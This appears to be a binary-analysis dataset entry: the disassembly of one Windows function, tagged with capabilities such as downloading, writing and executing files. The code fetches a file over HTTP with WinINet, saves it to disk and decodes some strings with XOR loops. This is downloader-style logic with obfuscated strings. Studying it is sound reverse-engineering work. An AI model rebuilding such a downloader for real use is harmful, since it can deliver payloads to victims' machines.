Function at 0x402e80
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409aa0
mov eax, dword fs:[0]
push eax
sub esp, 0x328
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, 0xf
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
lea eax, [ebp - 0x238]
push eax
lea edx, [ebp - 0x28c]
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 3
call fcn.00402ac0
add esp, 4
mov ecx, 0x9d
xor eax, eax
mov dl, byte [eax + 0x40a5a4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2a0], dl
jns 0x402f34
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x11
jl 0x402f14
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 4
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x240], 0xf
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402f63
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x2a0]
lea esi, [ebp - 0x254]
call fcn.00406ff0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x254]
xor eax, eax
mov esi, 0x10
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov word [ebp - 0x290], ax
cmp dword [ebp - 0x240], esi
jae 0x402fbd
lea edx, [ebp - 0x254]
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x402fd1
lea ecx, [ebp - 0x238]
call fcn.00402d40
mov cl, 0x65
mov dword [ebp - 0x21c], 0x746e656d
mov word [ebp - 0x218], 0x6e65
mov byte [ebp - 0x216], bl
lea edi, [ebp - 0x21c]
mov eax, 0x410078
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x403020
cmp cl, bl
je 0x40301c
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x403020
add eax, 2
add edi, 2
cmp cl, bl
jne 0x403000
xor eax, eax
jmp 0x403025
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
cmp eax, ebx
sete cl
cmp ecx, ebx
sete al
cmp al, bl
je 0x403628
lea edx, [ebp - 0x2c4]
push edx
lea eax, [ebp - 0x214]
push eax
push ebx
mov dword [ebp - 0x2c4], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
push 0x40a5b8
lea ecx, [ebp - 0x21c]
push 5
push ecx
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push ebx
push ebx
push ebx
push 1
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x2c0], eax
cmp eax, ebx
jne 0x4031a4
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.Internet_Eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x403103
mov eax, dword [ebp - 0x254]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
jb 0x40312f
mov ecx, dword [ebp - 0x28c]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
jb 0x403156
mov edx, dword [ebp - 0x270]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
jb 0x40317d
mov eax, dword [ebp - 0x238]
push eax
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4037ee
mov ecx, dword [ebp + 8]
push ecx
call esi
jmp 0x4037eb
mov ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x224], esi
jae 0x4031b8
lea ecx, [ebp - 0x238]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x2c8], eax
cmp eax, ebx
jne 0x4032eb
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Konek_Eror
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
cmp dword [ebp - 0x240], esi
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x40324a
mov edx, dword [ebp - 0x254]
push edx
call esi
add esp, 4
cmp dword [ebp - 0x278], 0x10
mov edi, 0xf
mov byte [ebp - 0x254], bl
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], edi
jb 0x403276
mov eax, dword [ebp - 0x28c]
push eax
call esi
add esp, 4
cmp dword [ebp - 0x25c], 0x10
mov byte [ebp - 0x28c], bl
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x278], edi
jb 0x40329d
mov ecx, dword [ebp - 0x270]
push ecx
call esi
add esp, 4
cmp dword [ebp - 0x224], 0x10
mov byte [ebp - 0x270], bl
mov dword [ebp - 0x260], ebx
mov dword [ebp - 0x25c], edi
jb 0x4032c4
mov edx, dword [ebp - 0x238]
push edx
call esi
add esp, 4
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
jb 0x4037ee
mov eax, dword [ebp + 8]
push eax
call esi
jmp 0x4037eb
mov ecx, dword [ebp - 0x270]
cmp dword [ebp - 0x25c], esi
jae 0x4032ff
lea ecx, [ebp - 0x270]
push ebx
push 0x8404f700
push ebx
push ebx
push str.HTTP_1.1
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
cmp edi, ebx
jne 0x40335b
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
push str.Request_Eror
jmp 0x40320b
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x1c], esi
jae 0x403371
lea eax, [ebp + 8]
push 0x40a57c
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40341d
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push str.open_File_Eror
push eax
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
lea esi, [ebp - 0x254]
call fcn.00404e50
lea esi, [ebp - 0x28c]
call fcn.00404e50
lea esi, [ebp - 0x270]
call fcn.00404e50
lea esi, [ebp - 0x238]
call fcn.00404e50
lea esi, [ebp + 8]
call fcn.00404e50
jmp 0x4037ee
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40347d
jmp 0x403440
mov eax, dword [ebp - 0x2bc]
push esi
cmp eax, ebx
je 0x4034e3
push eax
lea eax, [ebp - 0x334]
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea ecx, [ebp - 0x2bc]
push ecx
push 0x32
lea edx, [ebp - 0x334]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x403440
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push str.read_eror
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
jmp 0x4033e1
call dword [sym.imp.MSVCR100.dll_fflush]
add esp, 4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push edi
call esi
mov eax, dword [ebp - 0x2c8]
push eax
call esi
mov ecx, dword [ebp - 0x2c0]
push ecx
call esi
lea edx, [ebp + 8]
push edx
call fcn.00402870
add esp, 4
cmp al, 1
jne 0x4035ea
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x2c0], esp
call fcn.00404de0
call fcn.004029f0
add esp, 0x1c
cmp eax, 0x1388
jle 0x403593
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xb
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea esi, [ebp - 0x254]
call fcn.00404e50
lea esi, [ebp - 0x28c]
call fcn.00404e50
lea esi, [ebp - 0x270]
call fcn.00404e50
lea esi, [ebp - 0x238]
call fcn.00404e50
lea esi, [ebp + 8]
call fcn.00404e50
mov al, 1
jmp 0x4037f0
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, str.kp__xlpR
sub ecx, 0x14315210
lea eax, [ebp - 0x298]
call fcn.00407910
mov byte [ebp - 4], 7
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push eax
push edx
jmp 0x4033c6
call fcn.004021f0
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 0x4d9a81a8
lea esi, [ebp - 0x2a0]
call fcn.00407990
mov byte [ebp - 4], 8
jmp 0x4035d5
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2bc], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea edx, [ebp - 0x2b8]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x2b6]
movsx eax, word [ebp - 0x2b8]
mov edx, dword [ebp - 0x2bc]
imul edi, eax
lea ecx, [ebp - 0x2c0]
push ecx
push edx
push edi
push 0x20
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
mov ecx, dword [ebp - 0x2bc]
mov edx, dword [ebp - 0x2b0]
lea eax, [ebp - 0x2c0]
push eax
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov eax, dword [ebp - 0x2bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xc
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, 0x21
xor eax, eax
mov dl, byte [eax + str.lCJJQCIIGIN_f_f]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x29c], dl
jns 0x4036e7
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4036c7
mov byte [ebp - 0x28f], bl
mov byte [ebp - 4], 9
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
lea ecx, [ebp - 0x29c]
push ecx
push edx
call fcn.00401090
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.MSVCR100.dll_system]
mov esi, 0x10
add esp, 4
cmp dword [ebp - 0x240], esi
jb 0x403747
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x244], ebx
mov byte [ebp - 0x254], bl
cmp dword [ebp - 0x278], esi
jb 0x403776
mov ecx, dword [ebp - 0x28c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x27c], ebx
mov byte [ebp - 0x28c], bl
cmp dword [ebp - 0x25c], esi
jb 0x4037a0
mov edx, dword [ebp - 0x270]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x270], bl
cmp dword [ebp - 0x224], esi
jb 0x4037ca
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x224], edi
mov dword [ebp - 0x228], ebx
mov byte [ebp - 0x238], bl
cmp dword [ebp + 0x1c], esi
jb 0x4037ee
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004088e0
mov esp, ebp
pop ebp
ret